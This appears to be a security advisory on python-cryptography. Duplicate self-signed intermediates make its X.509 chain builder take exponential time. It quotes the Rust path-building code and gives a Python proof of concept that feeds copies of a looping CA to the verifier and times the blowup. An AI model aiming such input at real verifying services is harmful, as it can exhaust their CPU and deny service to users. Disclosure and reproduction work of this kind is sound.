python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)